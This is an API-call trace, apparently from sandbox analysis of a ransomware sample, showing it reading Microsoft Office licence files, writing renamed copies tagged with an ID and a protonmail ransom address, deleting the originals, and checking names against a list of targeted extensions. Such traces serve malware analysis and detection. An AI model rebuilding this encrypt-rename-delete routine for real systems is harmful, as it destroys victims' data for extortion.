	[0194.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 0x220
	[0194.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.992] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.992] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.993] GetLastError () returned 0x0
	[0194.993] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d5d, lpOverlapped=0x0) returned 1
	[0194.995] WriteFile (in: hFile=0x5d8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0194.997] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.997] WriteFile (in: hFile=0x5d8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0194.997] SetEndOfFile (hFile=0x5d8) returned 1
	[0194.997] CloseHandle (hObject=0x5d8) returned 1
	[0194.997] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.997] SetEndOfFile (hFile=0x5ac) returned 1
	[0195.001] CloseHandle (hObject=0x5ac) returned 1
	[0195.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 1
	[0195.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0195.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0195.002] lstrlenW (lpString=".doc") returned 4
	[0195.002] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.002] lstrlenW (lpString=".docx") returned 5
	[0195.003] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.003] lstrlenW (lpString=".pdf") returned 4
	[0195.003] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.003] lstrlenW (lpString=".xls") returned 4
	[0195.003] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.003] lstrlenW (lpString=".xlsx") returned 5
	[0195.003] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.003] lstrlenW (lpString=".ppt") returned 4
	[0195.003] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0195.003] lstrlenW (lpString=".zip") returned 4
	[0195.003] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.003] lstrlenW (lpString=".rar") returned 4
	[0195.003] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.003] lstrlenW (lpString=".bz2") returned 4
	[0195.003] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.003] lstrlenW (lpString=".7z") returned 3
	[0195.003] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0195.003] lstrlenW (lpString=".dbf") returned 4
	[0195.003] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0195.003] lstrlenW (lpString=".1cd") returned 4
	[0195.003] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0195.003] lstrlenW (lpString=".jpg") returned 4
	[0195.003] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0195.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0195.004] lstrlenW (lpString=".doc") returned 4
	[0195.004] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.004] lstrlenW (lpString=".docx") returned 5
	[0195.004] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.004] lstrlenW (lpString=".pdf") returned 4
	[0195.004] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.004] lstrlenW (lpString=".xls") returned 4
	[0195.004] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.004] lstrlenW (lpString=".xlsx") returned 5
	[0195.004] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.004] lstrlenW (lpString=".ppt") returned 4
	[0195.004] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0195.004] lstrlenW (lpString=".zip") returned 4
	[0195.004] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.004] lstrlenW (lpString=".rar") returned 4
	[0195.004] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.004] lstrlenW (lpString=".bz2") returned 4
	[0195.004] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.004] lstrlenW (lpString=".7z") returned 3
	[0195.004] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0195.004] lstrlenW (lpString=".dbf") returned 4
	[0195.005] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0195.005] lstrlenW (lpString=".1cd") returned 4
	[0195.005] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0195.005] lstrlenW (lpString=".jpg") returned 4
	[0195.005] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.005] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0195.005] lstrlenW (lpString="HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 35
	[0195.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0195.006] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=19958) returned 1
	[0195.006] CloseHandle (hObject=0x5ac) returned 1
	[0195.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 0x220
	[0195.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0195.007] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.007] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0195.008] GetLastError () returned 0x0
	[0195.008] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x4df6, lpOverlapped=0x0) returned 1
	[0195.012] WriteFile (in: hFile=0x5d8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0195.013] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.013] WriteFile (in: hFile=0x5d8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0195.013] SetEndOfFile (hFile=0x5d8) returned 1
	[0195.013] CloseHandle (hObject=0x5d8) returned 1
	[0195.013] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.014] SetEndOfFile (hFile=0x5ac) returned 1
	[0195.184] CloseHandle (hObject=0x5ac) returned 1
	[0195.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 1
	[0195.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0195.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0195.310] lstrlenW (lpString=".doc") returned 4
	[0195.310] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.310] lstrlenW (lpString=".docx") returned 5
	[0195.310] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.310] lstrlenW (lpString=".pdf") returned 4
	[0195.310] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.310] lstrlenW (lpString=".xls") returned 4
	[0195.310] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.310] lstrlenW (lpString=".xlsx") returned 5
	[0195.310] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.310] lstrlenW (lpString=".ppt") returned 4
	[0195.310] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0195.310] lstrlenW (lpString=".zip") returned 4
	[0195.310] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.310] lstrlenW (lpString=".rar") returned 4
	[0195.310] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.310] lstrlenW (lpString=".bz2") returned 4
	[0195.310] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.311] lstrlenW (lpString=".7z") returned 3
	[0195.311] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0195.311] lstrlenW (lpString=".dbf") returned 4
	[0195.311] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0195.311] lstrlenW (lpString=".1cd") returned 4
	[0195.311] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0195.311] lstrlenW (lpString=".jpg") returned 4
	[0195.311] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0195.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0195.311] lstrlenW (lpString=".doc") returned 4
	[0195.311] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.311] lstrlenW (lpString=".docx") returned 5
	[0195.311] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.311] lstrlenW (lpString=".pdf") returned 4
	[0195.311] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.311] lstrlenW (lpString=".xls") returned 4
	[0195.311] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.311] lstrlenW (lpString=".xlsx") returned 5
	[0195.311] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.311] lstrlenW (lpString=".ppt") returned 4
	[0195.311] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0195.311] lstrlenW (lpString=".zip") returned 4
	[0195.311] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.312] lstrlenW (lpString=".rar") returned 4
	[0195.312] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.312] lstrlenW (lpString=".bz2") returned 4
	[0195.312] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.312] lstrlenW (lpString=".7z") returned 3
	[0195.312] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0195.312] lstrlenW (lpString=".dbf") returned 4
	[0195.312] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0195.312] lstrlenW (lpString=".1cd") returned 4
	[0195.312] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0195.312] lstrlenW (lpString=".jpg") returned 4
	[0195.312] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.312] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0195.312] lstrlenW (lpString="HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 35
	[0195.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0195.345] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=19958) returned 1
	[0195.345] CloseHandle (hObject=0x5b4) returned 1
	[0195.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 0x220
	[0195.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0196.442] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.442] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0196.521] GetLastError () returned 0x0
	[0196.521] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x4df6, lpOverlapped=0x0) returned 1
	[0196.591] WriteFile (in: hFile=0x5e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0196.592] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0196.592] WriteFile (in: hFile=0x5e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0196.592] SetEndOfFile (hFile=0x5e0) returned 1
	[0196.592] CloseHandle (hObject=0x5e0) returned 1
	[0196.593] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.593] SetEndOfFile (hFile=0x514) returned 1
	[0196.597] CloseHandle (hObject=0x514) returned 1
	[0196.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 1
	[0196.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0196.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0196.599] lstrlenW (lpString=".doc") returned 4
	[0196.599] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.599] lstrlenW (lpString=".docx") returned 5
	[0196.599] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.599] lstrlenW (lpString=".pdf") returned 4
	[0196.599] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.599] lstrlenW (lpString=".xls") returned 4
	[0196.599] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.599] lstrlenW (lpString=".xlsx") returned 5
	[0196.599] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.599] lstrlenW (lpString=".ppt") returned 4
	[0196.599] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0196.599] lstrlenW (lpString=".zip") returned 4
	[0196.599] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.599] lstrlenW (lpString=".rar") returned 4
	[0196.599] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.599] lstrlenW (lpString=".bz2") returned 4
	[0196.599] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.599] lstrlenW (lpString=".7z") returned 3
	[0196.599] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0196.600] lstrlenW (lpString=".dbf") returned 4
	[0196.600] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0196.600] lstrlenW (lpString=".1cd") returned 4
	[0196.600] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0196.600] lstrlenW (lpString=".jpg") returned 4
	[0196.600] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0196.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0196.600] lstrlenW (lpString=".doc") returned 4
	[0196.600] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.600] lstrlenW (lpString=".docx") returned 5
	[0196.600] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.600] lstrlenW (lpString=".pdf") returned 4
	[0196.600] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.600] lstrlenW (lpString=".xls") returned 4
	[0196.600] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.600] lstrlenW (lpString=".xlsx") returned 5
	[0196.600] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.600] lstrlenW (lpString=".ppt") returned 4
	[0196.600] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0196.600] lstrlenW (lpString=".zip") returned 4
	[0196.600] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.600] lstrlenW (lpString=".rar") returned 4
	[0196.600] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.600] lstrlenW (lpString=".bz2") returned 4
	[0196.600] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.600] lstrlenW (lpString=".7z") returned 3
	[0196.600] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0196.601] lstrlenW (lpString=".dbf") returned 4
